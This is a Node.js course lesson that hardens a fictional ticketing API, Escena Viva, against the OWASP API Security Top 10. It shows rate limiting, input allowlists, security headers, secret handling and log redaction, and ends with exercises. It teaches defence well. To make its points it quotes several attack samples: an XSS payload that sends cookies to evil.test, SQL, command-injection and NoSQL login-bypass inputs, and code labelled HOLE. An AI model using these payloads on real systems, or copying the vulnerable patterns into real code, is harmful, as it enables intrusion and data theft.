Escena Viva already knows who is calling and what each caller may do. Passwords are properly hashed, tokens rotate, the permission matrix is written down, and the userId in buyTickets is a conclusion drawn by the server rather than a value supplied by the client. That solves two of the ten fronts of a real API.

This lesson closes the module with the other eight: the checklist that turns an API that works into an API that can be defended. It is not a collection of loose tricks — it is a walk through the OWASP API Security Top 10 applied point by point to Escena Viva, with the concrete code for each defense.

Contents

  1. The OWASP API Security Top 10 in Escena Viva
  2. Rate limiting
  3. Size, complexity and time limits
  4. Mass assignment and excessive data exposure
  5. Injection: SQL, NoSQL and commands
  6. XSS and output sanitization
  7. Security headers with helmet
  8. HTTPS, HSTS and Secure
  9. Secret management
  10. Logging and monitoring of security events
  11. Vulnerable dependencies and an honest warning
  12. Common mistakes, exercises and conclusion

  1. The OWASP API Security Top 10 in Escena Viva

OWASP maintains a list specific to APIs because an API's failures are not those of a traditional website: there are no forms to sanitize here, there are endpoints that hand JSON to anyone who knows how to ask.

# Risk What it means What Escena Viva does
1 Broken object level authorization Reaching someone else's resources by their id Filter by userId inside the query, in the repository (08-05)
2 Broken authentication Weak login, badly built tokens, no limits bcrypt with a measured cost, JWT with pinned algorithms, rotating refresh (08-02, 08-04)
3 Broken object property level authorization Reading or writing fields you should not .strict() zod schemas on the way in and explicit projections on the way out
4 Unrestricted resource consumption Requests that exhaust CPU, memory or money express-rate-limit per route, body cap, pagination with a maximum, timeouts
5 Broken function level authorization Calling an administration endpoint without being one requireRole on every route; deny by default (08-05)
6 Unrestricted access to sensitive business flows Automating purchases and hoarding capacity purchaseLimit per user, mandatory e-mail verification before buying
7 Server side request forgery (SSRF) The server fetches a URL the client gave it Escena Viva accepts no user URLs; if it accepted poster images, a domain allowlist
8 Security misconfiguration Missing headers, open CORS, errors with stack traces helmet, CORS with an allowlist, an errorHandler that leaks no internals (M6)
9 Improper inventory management Old versions or staging environments left alive A single /api version, no exposed staging environments, up-to-date documentation
10 Unsafe consumption of APIs Blindly trusting third-party responses The payment gateway will be validated like any other input

The three most underestimated are 3, 6 and 9. Number 3 because "returning the whole object" looks convenient. Number 6 because it is not a technical failure but a business one: the API works perfectly while a scalper drains the Festival de Jazz's capacity. And number 9 because the endpoint that compromises you is usually the one you forgot existed.

  1. Rate limiting

A single generalLimit for the whole API is not enough: routes neither cost the same nor are worth the same to an attacker.

// src/middleware/limits.js  (complete module 8 version)
'use strict';
const rateLimit = require('express-rate-limit');
// 429 in the usual error format (M6). With standardHeaders,
// express-rate-limit adds Retry-After and the RateLimit-* headers.
const limitResponse = (req, res) => res.status(429).json({
  error: { code: 'TOO_MANY_REQUESTS', status: 429,
    message: 'You have exceeded the request limit. Try again later' },
});
const base = { standardHeaders: 'draft-7', legacyHeaders: false, handler: limitResponse };
// Catalog: generous, it is public and cacheable content.
const generalLimit = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 300 });
// Login: very strict. Key by IP + e-mail to also slow the distributed
// attack against ONE account from many IP addresses.
const loginLimit = rateLimit({
  ...base, windowMs: 15 * 60 * 1000, limit: 10,
  keyGenerator: (req) => `${req.ip}:${String(req.body?.email || '').toLowerCase()}`,
  skipSuccessfulRequests: true, // successes do not spend quota
});
// Registration: creating accounts is expensive (bcrypt) and gets abused for spam.
const registerLimit = rateLimit({ ...base, windowMs: 60 * 60 * 1000, limit: 5 });
// Refresh: a healthy client refreshes every 15 min. More than that is anomalous.
const refreshLimit = rateLimit({ ...base, windowMs: 15 * 60 * 1000, limit: 20 });
// Purchase: per authenticated USER, not per IP. A family shares an IP; a
// scalper uses many IPs. Identity is the useful key.
const purchaseLimit = rateLimit({ ...base, windowMs: 60 * 1000, limit: 5,
  keyGenerator: (req) => req.user?.id || req.ip });
module.exports = { generalLimit, loginLimit, registerLimit, refreshLimit, purchaseLimit };
Route Window / limit Key Reason
GET /api/events 15 min / 300 IP Public content
POST /auth/login 15 min / 10 IP + e-mail Brute force and credential stuffing
POST /auth/register 1 h / 5 IP Junk accounts; bcrypt is expensive
POST /auth/refresh 15 min / 20 IP Detect loops and abuse
POST /api/purchases 1 min / 5 User Ticket hoarding

The proxy problem. Behind Nginx, a load balancer or a CDN, req.ip is the proxy's address: every request shares a key and the limit runs out for everybody at once. The solution, already seen in Module 6, is app.set('trust proxy', 1) with the number of trusted proxies — never true in production, because that makes Express believe any X-Forwarded-For and an attacker could spoof their IP to slip past the limits.

The multiple-process problem. The default express-rate-limit store lives in the process's memory. With cluster or with two containers, each process keeps its own count: a limit of 10 becomes 10 × the number of processes. The solution is a shared store in Redis, developed in Module 10 along with cluster and distributed rate limiting.

  1. Size, complexity and time limits

Anything the client controls and that has no cap is a denial of service waiting to happen.

// src/app.js: a 100 KB body is more than enough for any Escena Viva request.
// With no limit, a 500 MB body takes down the process on memory.
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
// src/server.js: full headers within 10 s slows Slowloris, which opens
// connections and dribbles headers out to exhaust the pool.
server.headersTimeout = 10_000;
server.requestTimeout = 30_000;   // complete request
server.keepAliveTimeout = 65_000; // above the typical ALB (60 s)

Mandatory pagination with a cap. GET /api/events with no limit invites ?perPage=1000000:

// src/schemas/common.js. The .max(100) is the hard cap: validation
// REJECTS, it does not silently trim, so the client knows its request
// was invalid.
const paginationSchema = z.object({
  page: z.coerce.number().int().min(1).default(1),
  perPage: z.coerce.number().int().min(1).max(100).default(20),
}).strict();

And the complexity limits that are not about size:

Limit Value in Escena Viva What it prevents
Body size 100 KB Exhausting memory
Password length 72 characters Deliberately expensive hashing
Items per page / tickets per purchase 100 / 10 Gigantic queries; hoarding
JSON object depth Flat by zod schema Pathological parsing
Request time 30 s Hung connections

  1. Mass assignment and excessive data exposure

It already came up in 08-02 and 08-05; here it gets formalized. Mass assignment is dumping the request body straight into a model, with User.create(req.body) or Object.assign(event, req.body). With a body of {"email":"…","password":"…","role":"administrator","verified":true} the attacker makes themselves a verified administrator; and {"sold": 0} resets the sales of a Festival de Jazz session. The defense is the Module 6 zod schemas used as an allowlist, plus a controller that builds the object field by field:

// src/schemas/event.js
const updateEventSchema = z.object({
  title: z.string().trim().min(3).max(200).optional(),
  description: z.string().trim().max(2000).optional(),
}).strict();  // <- rejects ANY field not listed
// Explicit fields in the controller: what is not named is not written.
const { title, description } = req.validatedData.body;
const changes = {};
if (title !== undefined) { changes.title = title; }
if (description !== undefined) { changes.description = description; }
await updateEvent(req.params.id, changes);

The fields that are never accepted from the client: role, verified, passwordHash, status (transitions have their own endpoints), sold, createdAt, _id, userId.

The complementary side: excessive data exposure. The same problem in reverse — returning the whole document and trusting the front-end to hide what is surplus. Instead of res.json(user), which exposes internal fields and possibly the hash, an explicit projection: res.json({ user: { id, name, email, role } }). That is why the User model carries select: false on passwordHash and a toJSON that removes it: two layers for the same failure.

  1. Injection: SQL, NoSQL and commands

SQL. Solved in Module 7 with parameterized queries. The difference:

// HOLE: concatenation. With venue = "x'; DROP TABLE tickets; --"...
const [rows] = await sequelize.query(`SELECT * FROM events WHERE venue = '${venue}'`);
// CORRECT: parameters. The engine treats the value ALWAYS as data, never
// as part of the statement.
const [rows] = await sequelize.query('SELECT * FROM events WHERE venue = :venue',
  { replacements: { venue }, type: QueryTypes.SELECT });

NoSQL. This is the surprising one, because there are no strings to concatenate. Mongoose accepts objects as query values, and a JSON body can contain objects: { "email": { "$gt": "" }, "password": { "$gt": "" } }. If the code does User.findOne({ email: req.body.email }), the $gt: "" operator means "any email greater than the empty string" and returns the first user in the collection; combined with a badly written login, that is a way in with no password. The defenses, in order of effectiveness:

  1. Validate the type with zod. z.string().email() rejects an object outright. That is the primary defense, and we have had it since Module 6.
  2. Coerce explicitly: String(req.body.email) turns the object into "[object Object]", which is harmless.
  3. Mongoose's sanitizeFilter or express-mongo-sanitize as a safety net, not as the primary defense; and never pass req.body straight to find().

Command injection. If Escena Viva ever generated ticket PDFs by calling a binary:

// HOLE: exec runs the string through a shell. With the ticket code
// "EV-2026-000001; rm -rf /" both commands are executed.
exec(`convert --code ${ticketCode}`);
// CORRECT: execFile uses no shell, and arguments are arguments
execFile('convert', ['--code', ticketCode]);

And even then, validate ticketCode against the EV-<year>-<6 digits> format with an anchored regular expression.

  1. XSS and output sanitization

"We return JSON, XSS is not our problem" is a half-dangerous line of reasoning. It is true that JSON does not execute scripts; it is false that the API plays no part in the problem.

The real scenario: the organizer of Teatro Almendra creates an event titled <img src=x onerror="fetch('https://evil.test?c='+document.cookie)">. The API stores it and returns it. The front-end inserts it with innerHTML into the event page. The script runs in every visitor's browser. That is stored XSS, and the API was the vehicle.

The defenses, in layers:

Layer Measure Owner
Input Validate format and length with zod; reject anything that does not fit API
Storage Store the text as is, unescaped (escaping on write corrupts the data) API
Output and rendering Escape according to context; textContent instead of innerHTML (React and Vue do it for you) Front-end
Rich HTML DOMPurify if HTML is allowed in descriptions Front-end
Defense in depth Content-Security-Policy; HttpOnly cookies and the access token in memory API (08-04)

The rule that clears up the confusion: you escape on output, according to context, not on input. The same title needs different escaping in HTML, in an attribute, in JavaScript or in a URL. Escaping on write produces stored &lt; sequences that show up visibly when the data is used somewhere else.

What the API does do: Content-Type: application/json always (never text/html with user data), X-Content-Type-Options: nosniff via helmet, and a strict CSP for the static front-end.

  1. Security headers with helmet

helmet has been wired in since Module 6. Let us go over it now with judgment:

// src/app.js  (excerpt)
app.use(helmet({
  contentSecurityPolicy: { directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],       // no 'unsafe-inline': kills reflected XSS
    styleSrc: ["'self'"],
    imgSrc: ["'self'", 'data:'],
    connectSrc: ["'self'", 'https://api.escenaviva.test'],
    frameAncestors: ["'none'"],  // nobody puts us in an iframe
    objectSrc: ["'none'"],
    upgradeInsecureRequests: [],
  } },
  hsts: { maxAge: 31_536_000, includeSubDomains: true, preload: true },
  referrerPolicy: { policy: 'no-referrer' },
  crossOriginResourcePolicy: { policy: 'same-site' },
}));
app.disable('x-powered-by'); // a header that gives the technology away: gone
Header What it does Attack it mitigates
Content-Security-Policy Restricts where scripts and resources load from XSS (the most powerful defense in depth)
Strict-Transport-Security Forces HTTPS for a year Downgrade to HTTP, sslstrip
X-Content-Type-Options: nosniff Forbids type guessing JSON interpreted as HTML
X-Frame-Options / frame-ancestors Prevents framing Clickjacking
Referrer-Policy / Cross-Origin-Resource-Policy Does not leak the originating URL; restricts who can embed responses Token leakage in URLs; cross-site leaks

And the CORS setup from Module 6, with the rule that is not up for negotiation:

// Explicit allowlist. NEVER origin: '*' with credentials: true (the browser
// rejects it, and the attempt reveals a mistaken design).
const corsAllowlist = cors({
  origin: (origin, callback) => (!origin || configuration.allowedOrigins.includes(origin)
    ? callback(null, true)
    : callback(new Error('Origin not allowed'))),
  credentials: true, maxAge: 600,
});

Remember too that CORS is not authorization: it is a browser protection. curl ignores CORS entirely. An endpoint without authentication is not protected just because CORS is restricted.

  1. HTTPS, HSTS and Secure

Without TLS, everything above is set dressing. Travelling in the clear over the network you have Lucía's password in the POST /auth/login, the access token in every Authorization header, and the refresh cookie. Anyone on the same Wi-Fi reads it.

The three pieces: HTTPS everywhere (not just on the login: if the token travels in the clear once, it is over); HSTS (Strict-Transport-Security), which makes the browser remember for a year that this domain is HTTPS-only and refuse even the first cleartext hop — with preload, it ships that way out of the box; and an HTTP-to-HTTPS redirect for anyone typing the address by hand.

// 308 redirect in production, when the proxy terminates TLS.
if (configuration.nodeEnv === 'production') {
  app.use((req, res, next) => (req.secure   // req.secure works thanks to
    ? next()                                // app.set('trust proxy', 1)
    : res.redirect(308, `https://${req.headers.host}${req.originalUrl}`)));
}

With HTTPS mandatory, Secure on cookies stops being optional: without it, the 30-day refresh cookie would be sent on any accidental HTTP request. And the __Host- prefix forces the browser to check for Secure, Path=/ and the absence of Domain.

TLS deployment, Let's Encrypt certificates and termination at the proxy are wrapped up in Module 11.

  1. Secret management

Escena Viva currently handles: MONGODB_URL, POSTGRES_URL, SESSION_SECRETS, JWT_ACCESS_SECRET, JWT_REFRESH_SECRET, CSRF_SECRET. The rules:

  • Out of the code. Everything goes through src/config/index.js, the only place that reads process.env. A grep -r 'process.env' src/ returning anything outside that file is a review failure.
  • Out of the repository. .env in .gitignore since Module 5; .env.example versioned with the names and no values.
  • Different per environment, with sufficient length (32 characters minimum, generated with randomBytes, never invented phrases) and rotatable: that is why SESSION_SECRETS is a list.
  • Validated at startup: better that the process refuses to boot than that it serves insecurely.

What to do when a secret leaks, in this order and skipping nothing:

  1. Rotate immediately. That comes first, before investigating anything.
  2. Invalidate what derives from it: if it was the JWT secret, every token stops working; if it was the session secret, every session falls. It is annoying and it is correct.
  3. Investigate the scope: what could be done with it and how long it was exposed.
  4. Audit the logs looking for anomalous use during that period.
  5. Purge it from the Git history if it ended up there — and even so, treat it as compromised forever: somebody may have cloned the repository.
  6. Document the incident and add the detection that would have prevented it (secret scanners in CI, pre-commit hooks).

The most expensive mistake is step 5 without step 1: rewriting history and believing the secret is secret again.

  1. Logging and monitoring of security events

An attack nobody sees is a successful attack. What to log:

Event Why it matters
Failed login; successful login from a new IP or country Brute force, credential stuffing, compromised account
Password, e-mail or role change Account takeover; privilege escalation (08-05)
Family revocation triggered by refresh reuse Stolen token (08-04)
Repeated 403s or 429s from the same user Permission probing; automation
A burst of 500 errors Exploitation under way or a serious bug

What never appears in a log: passwords (not even hashed), access or refresh tokens, cookies, Authorization headers, recovery tokens, or the full body of an authentication request.

// src/logging/redact.js
'use strict';
const REDACTED_FIELDS = new Set([
  'password', 'currentPassword', 'newPassword', 'passwordHash',
  'token', 'accessToken', 'refresh', 'authorization', 'cookie', 'set-cookie',
]);
// Recursive redaction before logging any object. The real failure is rarely a
// console.log(password), it is dumping the whole request into an error
// reporter.
function redact(value, depth = 0) {
  if (depth > 5 || value === null || typeof value !== 'object') { return value; }
  const output = Array.isArray(value) ? [] : {};
  for (const [key, content] of Object.entries(value)) {
    output[key] = REDACTED_FIELDS.has(key.toLowerCase())
      ? '[REDACTED]' : redact(content, depth + 1);
  }
  return output;
}
module.exports = { redact, REDACTED_FIELDS };

Logs must be structured (JSON), carry the Module 6 requestId for correlation, and have a retention policy (they are personal data). Production logging, shipping it to a centralized system and alerting are developed in Module 11.

  1. Vulnerable dependencies and an honest warning

In Module 5 we covered npm audit and supply chain security. It matters especially here, because Module 8 has added dependencies that are on the critical path of authentication: bcrypt, jsonwebtoken, express-session, passport, passport-local, csrf-csrf. The minimum practices: npm audit --omit=dev (the audit script in package.json), npm outdated to spot stale versions, npm ci for reproducible installs from the lockfile, a versioned package-lock.json, the audit as a step that breaks the build on high or critical vulnerabilities, automated updates reviewed by a human, and no new dependency without checking its maintenance and its transitive dependencies. CI is set up in Module 11.

And now, the warning. Everything in this module is correct and necessary. It is not sufficient.

  • This lesson is not a substitute for a professional security audit. A specialist finds what a developer cannot see precisely because they know their own code too well.
  • If Escena Viva processes real payments, it falls within the scope of PCI DSS. The correct answer is almost always not to touch card data: delegate to a gateway (Stripe, Redsys) and store nothing.
  • If it handles personal data of EU residents, GDPR applies: legal basis, minimization, rights of access and erasure, a record of processing activities and breach notification within 72 hours.
  • Security is not a state, it is a process: dependencies age, new attacks appear, code changes.
  • And a golden rule: if your security decision depends on an attacker not knowing something, that is not security, it is hope.

Common Mistakes and Tips

  • trust proxy: true in production. It makes Express believe any X-Forwarded-For: an attacker spoofs their IP and dodges every limit. Set the number of real proxies.
  • Limiting by IP only. Behind a CDN or a shared mobile network it punishes the innocent and does not stop whoever rotates addresses. Limit by identity wherever there is one.
  • Believing CORS protects the API: it is a browser protection, and curl knows nothing about it. Or escaping HTML on write, which corrupts the data and does not protect in other contexts; you escape on output.
  • res.json(document) with no projection. Excessive data exposure, the most frequent silent failure there is.
  • Returning the stack trace to the client. It gives away paths, versions and internal structure. The Module 6 errorHandler only returns messages from operational errors.
  • Leaving an old API version alive. The forgotten endpoint does not have the new defenses.
  • Tip: turn this lesson into a checklist in the repository and go through it at every code review. Security that depends on somebody's memory is lost in the first busy week.
  • Tip: make CI fail on npm audit high vulnerabilities, on detected secrets and on routes with no authentication middleware — what you automate actually happens — and deny by default: a new route with no explicit policy must be unreachable, not public.

Exercises

Exercise 1: audit an endpoint

Find the six security flaws in this endpoint and rewrite it.

router.get('/api/users', async (req, res) => {
  const filter = req.query.filter ? JSON.parse(req.query.filter) : {};
  const users = await User.find(filter).select('+passwordHash');
  res.json(users);
});

Exercise 2: limiting a sensitive business flow

Festival de Jazz tickets (evt-003) sell out in seconds and we suspect scalpers. Design the limiting and control measures for POST /api/purchases, stating what each one measures and which attack it slows. Bear in mind that a scalper can create many accounts.

Exercise 3: the checklist

Write the Escena Viva security checklist grouped into four blocks (authentication, authorization, input/output, infrastructure), with at least four verifiable points per block. "Verifiable" means it can be answered yes or no by looking at the code.

Solutions

Exercise 1

  1. No authentication: anyone lists the users.
  2. No authorization: even if there were, listing users is administrator-only.
  3. NoSQL injection: JSON.parse of a query parameter allows {"role":{"$ne":"attendee"}} or arbitrary filters.
  4. select('+passwordHash'): exposes every password hash. Unjustifiable outside the login.
  5. No pagination: find({}) returns the whole collection; with many users it takes down the process on memory.
  6. res.json(users) with no projection: excessive data exposure (internal dates, __v, assignedVenue).
router.get('/api/users', authenticate, requireRole('administrator'),
  validate(listUsersSchema, VALID_SOURCES.QUERY), // zod .strict()
  async (req, res, next) => {
    try {
      const { page, perPage, role } = req.validatedData.query;
      const filter = role ? { role } : {}; // built from VALIDATED values
      const users = await User.find(filter)
        .select('email name role verified createdAt')      // explicit projection
        .skip((page - 1) * perPage).limit(perPage).lean(); // cap: max 100 in zod
      res.json({ page, perPage, users: users.map((u) => ({ id: String(u._id),
        email: u.email, name: u.name, role: u.role, verified: u.verified })) });
    } catch (error) { next(error); }
  });

Exercise 2

Measure What it measures Attack it slows
purchaseLimit: 5 requests/min per user Authenticated identity Automation from one account
Maximum 6 tickets per order and 10 per session and user (business rule in the repository) Historical accumulation Hoarding through many small requests
requireVerified and registerLimit (5 accounts/hour per IP) E-mail ownership; account creation Throwaway accounts and account farms
Minimum account age on "high demand" events The createdAt date Accounts created right before the sale
CAPTCHA past a threshold; a waiting room with a signed place in line Behavior and order of arrival Basic automation; simultaneous bursts
Auditing purchases by IP, card and user agent Correlation between accounts After-the-fact detection of account networks

The first three are the foundation and can be implemented today with what we have learned. An honest note: a per-user limit cannot on its own stop somebody controlling a thousand verified accounts; that is why real control combines limits, friction (verification, account age) and after-the-fact detection, with the ability to cancel orders. And all of it with the Module 10 shared Redis store, because with several processes an in-memory limit multiplies.

Exercise 3

Authentication

  • [ ] Passwords are hashed with bcrypt and the cost lives in configuration, measured on the real hardware.
  • [ ] passwordHash has select: false and is removed in toJSON.
  • [ ] The login responds with an identical message, code and timing for a nonexistent user and a wrong password.
  • [ ] jwt.verify pins algorithms, issuer and audience explicitly.
  • [ ] The refresh token is stored hashed, rotates on every use and detects reuse, and the access and refresh secrets are different and 32+ characters long.

Authorization

  • [ ] Every non-public route carries authenticate and an explicit permission check.
  • [ ] Queries for a user's own resources filter by req.user.id inside the query.
  • [ ] 401 is distinguished from 403, and 404 is used where existence is sensitive.
  • [ ] The policy lives in src/authorization/policy.js and there are no role if statements in the controllers.
  • [ ] No endpoint accepts role, verified or status from the body, and role changes are audited and revoke the refresh tokens.

Input and output

  • [ ] Every zod schema uses .strict(); every listing has pagination with a maximum cap.
  • [ ] express.json has limit configured.
  • [ ] No response returns an ODM document without an explicit projection.
  • [ ] No database query receives req.body or req.query unvalidated.
  • [ ] Non-operational errors leak neither message nor stack trace to the client.

Infrastructure

  • [ ] helmet with CSP and HSTS; x-powered-by disabled; CORS with an allowlist, never '*' with credentials.
  • [ ] trust proxy set to the real number of proxies.
  • [ ] Rate limits per route type, with an appropriate key (IP or user).
  • [ ] process.env is read only in src/config/index.js, with validation at startup.
  • [ ] npm audit clean of high vulnerabilities and package-lock.json versioned.
  • [ ] Logs are redacted and contain no credentials or tokens.

Conclusion

This lesson closes Module 8, and Escena Viva is a different API. We started with a buyTickets that accepted whatever userId the client felt like sending and we finish with a complete system: passwords hashed with bcrypt at a measured cost, registration and login that leak which e-mails exist neither through the message nor through the timing, properly built single-use tokens for verification and recovery; server sessions with Passport, with regeneration against session fixation and CSRF protection; short-lived access JWTs with pinned algorithms and a rotating refresh token in an HttpOnly cookie with reuse detection; a permission matrix turned into a centralized policy, with 401 and 403 cleanly separated and the owner filter pushed inside the query so that IDOR is impossible rather than merely avoidable. And, in this last lesson, the OWASP API Security Top 10 walked for real: limits tuned per route, size and pagination caps, mass assignment closed off with allowlists, SQL and NoSQL injection blocked at the edge, security headers chosen with judgment, mandatory HTTPS, managed secrets and monitored security events without ever logging a credential.

And now, the same uncomfortable question as always, the one this course asks you at the end of every module.

The Escena Viva API sells tickets, persists orders with transactions that prevent overselling, authenticates users, rotates tokens and authorizes operations by role and ownership. It does an enormous number of things. And nobody has ever checked that it works. Not once. npm test has been failing on purpose since Module 5, and every line of security we have written across these six lessons — the bcrypt decoy, refresh reuse detection, every cell of the permission matrix — rests today on the faith that we wrote it correctly. One inverted if in canManageEvent would open the entire catalog with nothing to warn us.

In Module 9 we put an end to that: unit tests with Mocha and Chai, test doubles with Sinon, integration tests with supertest against the real application, coverage and debugging. You will see that the authorization policy, being pure functions, is tested end to end with a case table that walks the matrix cell by cell. And you will discover that authenticating inside tests has a technique of its own — how supertest gets a valid token without writing a password into the test code — which is exactly what we look at there.

Node.js Course: From Beginner to Advanced

Module 1: Introduction to Node.js

Module 2: Core Concepts

Module 3: File System and I/O

Module 4: HTTP and Web Servers

Module 5: NPM and Package Management

Module 6: The Express.js Framework

Module 7: Databases and ORMs

Module 8: Authentication and Authorization

Module 9: Testing and Debugging

Module 10: Advanced Topics

Module 11: Deployment and DevOps

Module 12: Real-World Projects

© Copyright 2026. All rights reserved